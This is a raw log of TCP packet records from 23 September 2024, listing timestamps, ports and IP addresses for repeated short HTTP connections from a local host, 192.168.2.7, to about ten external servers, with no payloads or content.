Sep 23, 2024 14:37:15.471019983 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:15.476108074 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:15.476203918 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:15.490607023 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:15.495513916 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852230072 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852261066 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852271080 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852348089 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852379084 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:16.852427959 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:16.852440119 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852446079 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852452993 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852458954 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852488041 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:16.852514982 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:16.852621078 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852627993 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852647066 CEST	80	49705	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:16.852694035 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:16.852710962 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:16.998059988 CEST	49705	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:18.017568111 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:18.022648096 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:18.023938894 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:18.036112070 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:18.041229963 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:18.041343927 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.355966091 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.355983973 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.355998039 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356062889 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356076002 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356148005 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:19.356168985 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356184006 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356197119 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356203079 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:19.356210947 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:19.356237888 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:19.356291056 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356303930 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.356344938 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:19.358659983 CEST	80	49707	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:19.358736992 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:19.545100927 CEST	49707	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:20.563651085 CEST	49708	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:20.569071054 CEST	80	49708	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:20.569148064 CEST	49708	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:20.576164007 CEST	49708	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:20.580993891 CEST	80	49708	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:21.769678116 CEST	80	49708	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:21.770009041 CEST	80	49708	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:21.770308971 CEST	49708	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:21.775413036 CEST	49708	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:21.782828093 CEST	80	49708	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:27.228110075 CEST	49709	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:27.233036995 CEST	80	49709	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:27.233143091 CEST	49709	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:27.333808899 CEST	49709	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:27.338721991 CEST	80	49709	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:28.123538017 CEST	80	49709	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:28.123553991 CEST	80	49709	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:28.123635054 CEST	49709	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:28.842164993 CEST	49709	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:29.864505053 CEST	49710	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:29.869441986 CEST	80	49710	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:29.869533062 CEST	49710	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:29.880053043 CEST	49710	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:29.884860039 CEST	80	49710	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:30.782752037 CEST	80	49710	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:30.783070087 CEST	80	49710	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:30.783144951 CEST	49710	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:31.388748884 CEST	49710	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:32.409569025 CEST	49711	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:32.414566040 CEST	80	49711	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:32.414657116 CEST	49711	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:32.428009987 CEST	49711	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:32.432832003 CEST	80	49711	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:32.432918072 CEST	80	49711	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:33.546189070 CEST	80	49711	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:33.546211004 CEST	80	49711	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:33.546220064 CEST	80	49711	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:33.546333075 CEST	49711	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:33.935677052 CEST	49711	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:34.954355955 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:34.960283995 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:34.960424900 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:34.967307091 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:34.972249985 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:36.663703918 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:36.663717985 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:36.663733959 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:36.663927078 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:36.664205074 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:36.664205074 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:36.664376020 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:36.664443016 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:36.671381950 CEST	49712	80	192.168.2.7	38.47.232.196
Sep 23, 2024 14:37:36.676192045 CEST	80	49712	38.47.232.196	192.168.2.7
Sep 23, 2024 14:37:41.710701942 CEST	49713	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:41.715600967 CEST	80	49713	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:41.715713024 CEST	49713	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:41.729139090 CEST	49713	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:41.733964920 CEST	80	49713	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:42.194437027 CEST	80	49713	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:42.195379019 CEST	80	49713	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:42.195519924 CEST	49713	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:43.232501030 CEST	49713	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:44.251498938 CEST	49714	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:44.712871075 CEST	80	49714	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:44.713084936 CEST	49714	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:44.726186991 CEST	49714	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:44.731106997 CEST	80	49714	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:45.169430017 CEST	80	49714	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:45.170454025 CEST	80	49714	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:45.170542002 CEST	49714	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:46.232665062 CEST	49714	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:47.271646023 CEST	49715	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:48.072127104 CEST	80	49715	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:48.072423935 CEST	49715	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:48.084470034 CEST	49715	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:48.089380026 CEST	80	49715	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:48.089682102 CEST	80	49715	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:48.552010059 CEST	80	49715	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:48.552223921 CEST	80	49715	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:48.552289963 CEST	49715	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:49.591893911 CEST	49715	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:50.616836071 CEST	49716	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:50.621946096 CEST	80	49716	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:50.622062922 CEST	49716	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:50.630011082 CEST	49716	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:50.634983063 CEST	80	49716	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:51.080991983 CEST	80	49716	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:51.081403971 CEST	80	49716	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:51.081454039 CEST	49716	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:51.084527016 CEST	49716	80	192.168.2.7	188.114.97.3
Sep 23, 2024 14:37:51.089318037 CEST	80	49716	188.114.97.3	192.168.2.7
Sep 23, 2024 14:37:56.171080112 CEST	49717	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:56.178028107 CEST	80	49717	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:56.178114891 CEST	49717	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:56.231558084 CEST	49717	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:56.236464024 CEST	80	49717	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:56.855519056 CEST	80	49717	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:56.856025934 CEST	80	49717	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:56.856091976 CEST	49717	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:57.749207020 CEST	49717	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:58.767005920 CEST	49718	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:58.771936893 CEST	80	49718	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:58.772056103 CEST	49718	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:58.783951044 CEST	49718	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:37:58.788824081 CEST	80	49718	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:59.468683004 CEST	80	49718	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:59.468765020 CEST	80	49718	195.110.124.133	192.168.2.7
Sep 23, 2024 14:37:59.468925953 CEST	49718	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:00.295357943 CEST	49718	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:01.315864086 CEST	49719	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:01.320882082 CEST	80	49719	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:01.321105003 CEST	49719	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:01.333888054 CEST	49719	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:01.339492083 CEST	80	49719	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:01.339627981 CEST	80	49719	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:02.168457031 CEST	80	49719	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:02.168663025 CEST	80	49719	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:02.168708086 CEST	49719	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:02.168996096 CEST	80	49719	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:02.169038057 CEST	49719	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:02.841979980 CEST	49719	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:03.862433910 CEST	49720	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:03.867516994 CEST	80	49720	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:03.867589951 CEST	49720	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:03.876590967 CEST	49720	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:03.881412983 CEST	80	49720	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:04.654149055 CEST	80	49720	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:04.654162884 CEST	80	49720	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:04.654167891 CEST	80	49720	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:04.655184984 CEST	49720	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:04.657170057 CEST	49720	80	192.168.2.7	195.110.124.133
Sep 23, 2024 14:38:04.661997080 CEST	80	49720	195.110.124.133	192.168.2.7
Sep 23, 2024 14:38:09.970050097 CEST	49721	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:09.974891901 CEST	80	49721	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:09.975022078 CEST	49721	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:09.988609076 CEST	49721	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:09.995902061 CEST	80	49721	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:10.578469992 CEST	80	49721	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:10.578643084 CEST	80	49721	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:10.578766108 CEST	49721	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:11.498270988 CEST	49721	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:12.517339945 CEST	49722	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:12.522440910 CEST	80	49722	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:12.522545099 CEST	49722	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:12.534504890 CEST	49722	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:12.539510965 CEST	80	49722	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:13.137239933 CEST	80	49722	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:13.137253046 CEST	80	49722	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:13.137367964 CEST	49722	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:14.045295954 CEST	49722	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:15.104504108 CEST	49723	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:15.109427929 CEST	80	49723	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:15.110040903 CEST	49723	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:15.120706081 CEST	49723	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:15.125616074 CEST	80	49723	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:15.125657082 CEST	80	49723	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:15.731651068 CEST	80	49723	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:15.731683969 CEST	80	49723	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:15.731792927 CEST	49723	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:16.623856068 CEST	49723	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:17.641969919 CEST	49724	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:17.647619009 CEST	80	49724	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:17.647839069 CEST	49724	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:17.654906988 CEST	49724	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:17.660588980 CEST	80	49724	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:18.235691071 CEST	80	49724	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:18.235717058 CEST	80	49724	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:18.235963106 CEST	49724	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:18.289978981 CEST	49724	80	192.168.2.7	162.0.238.246
Sep 23, 2024 14:38:18.294856071 CEST	80	49724	162.0.238.246	192.168.2.7
Sep 23, 2024 14:38:24.140660048 CEST	49725	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:24.231765985 CEST	80	49725	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:24.231882095 CEST	49725	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:24.603214025 CEST	49725	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:24.608112097 CEST	80	49725	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:24.704749107 CEST	80	49725	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:24.704834938 CEST	49725	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:26.107610941 CEST	49725	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:26.112531900 CEST	80	49725	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:27.126442909 CEST	49726	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:27.131356001 CEST	80	49726	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:27.132343054 CEST	49726	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:27.142273903 CEST	49726	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:27.147270918 CEST	80	49726	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:27.900202036 CEST	80	49726	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:27.900283098 CEST	49726	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:27.902126074 CEST	80	49726	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:27.902297020 CEST	49726	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:28.654490948 CEST	49726	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:28.659393072 CEST	80	49726	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:29.673584938 CEST	49727	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:29.678570986 CEST	80	49727	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:29.678654909 CEST	49727	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:29.694057941 CEST	49727	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:29.698967934 CEST	80	49727	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:29.698998928 CEST	80	49727	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:30.166430950 CEST	80	49727	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:30.166579962 CEST	49727	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:31.201375961 CEST	49727	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:31.206427097 CEST	80	49727	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:32.221959114 CEST	49728	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:32.227015972 CEST	80	49728	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:32.227114916 CEST	49728	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:32.234188080 CEST	49728	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:32.239474058 CEST	80	49728	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:32.686242104 CEST	80	49728	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:32.686553001 CEST	49728	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:32.690695047 CEST	49728	80	192.168.2.7	198.50.252.64
Sep 23, 2024 14:38:32.695501089 CEST	80	49728	198.50.252.64	192.168.2.7
Sep 23, 2024 14:38:37.824707031 CEST	49729	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:37.829579115 CEST	80	49729	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:37.829657078 CEST	49729	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:37.842024088 CEST	49729	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:37.846935034 CEST	80	49729	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:39.360229015 CEST	49729	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:39.423636913 CEST	80	49729	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:39.423821926 CEST	49729	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:40.376848936 CEST	49730	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:40.943958044 CEST	80	49730	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:40.944211006 CEST	49730	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:40.958497047 CEST	49730	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:40.963371038 CEST	80	49730	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:42.467298985 CEST	49730	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:42.473690033 CEST	80	49730	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:42.475876093 CEST	49730	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:43.486629009 CEST	49731	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:43.491631985 CEST	80	49731	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:43.491746902 CEST	49731	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:43.504518032 CEST	49731	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:43.509422064 CEST	80	49731	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:43.509517908 CEST	80	49731	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:45.014147997 CEST	49731	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:45.023439884 CEST	80	49731	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:45.023593903 CEST	49731	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:46.032567978 CEST	49732	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:46.038547039 CEST	80	49732	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:46.038664103 CEST	49732	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:46.046056986 CEST	49732	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:46.051697016 CEST	80	49732	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:46.718200922 CEST	80	49732	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:46.718302011 CEST	80	49732	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:46.718566895 CEST	49732	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:46.721079111 CEST	49732	80	192.168.2.7	85.159.66.93
Sep 23, 2024 14:38:46.726049900 CEST	80	49732	85.159.66.93	192.168.2.7
Sep 23, 2024 14:38:51.919599056 CEST	49733	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:51.924546003 CEST	80	49733	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:51.924633980 CEST	49733	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:51.937959909 CEST	49733	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:51.942893028 CEST	80	49733	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:52.646972895 CEST	80	49733	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:52.647694111 CEST	80	49733	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:52.649878979 CEST	49733	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:53.451558113 CEST	49733	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:54.471508980 CEST	49734	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:54.476727009 CEST	80	49734	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:54.476826906 CEST	49734	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:54.494962931 CEST	49734	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:54.500483036 CEST	80	49734	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:55.444797993 CEST	80	49734	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:55.444818974 CEST	80	49734	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:55.445163012 CEST	49734	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:55.445350885 CEST	80	49734	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:55.447992086 CEST	49734	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:55.998727083 CEST	49734	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:57.017090082 CEST	49735	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:57.022075891 CEST	80	49735	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:57.022460938 CEST	49735	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:57.032861948 CEST	49735	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:57.037863970 CEST	80	49735	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:57.037889957 CEST	80	49735	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:57.758460999 CEST	80	49735	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:57.758891106 CEST	80	49735	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:57.763962030 CEST	49735	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:58.545305014 CEST	49735	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:59.618372917 CEST	49736	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:59.623358965 CEST	80	49736	142.250.186.51	192.168.2.7
Sep 23, 2024 14:38:59.623492002 CEST	49736	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:59.632251978 CEST	49736	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:38:59.637139082 CEST	80	49736	142.250.186.51	192.168.2.7
Sep 23, 2024 14:39:00.363027096 CEST	80	49736	142.250.186.51	192.168.2.7
Sep 23, 2024 14:39:00.365102053 CEST	80	49736	142.250.186.51	192.168.2.7
Sep 23, 2024 14:39:00.365211964 CEST	49736	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:39:00.366449118 CEST	49736	80	192.168.2.7	142.250.186.51
Sep 23, 2024 14:39:00.371210098 CEST	80	49736	142.250.186.51	192.168.2.7
Sep 23, 2024 14:39:13.527122021 CEST	49737	80	192.168.2.7	199.59.243.227
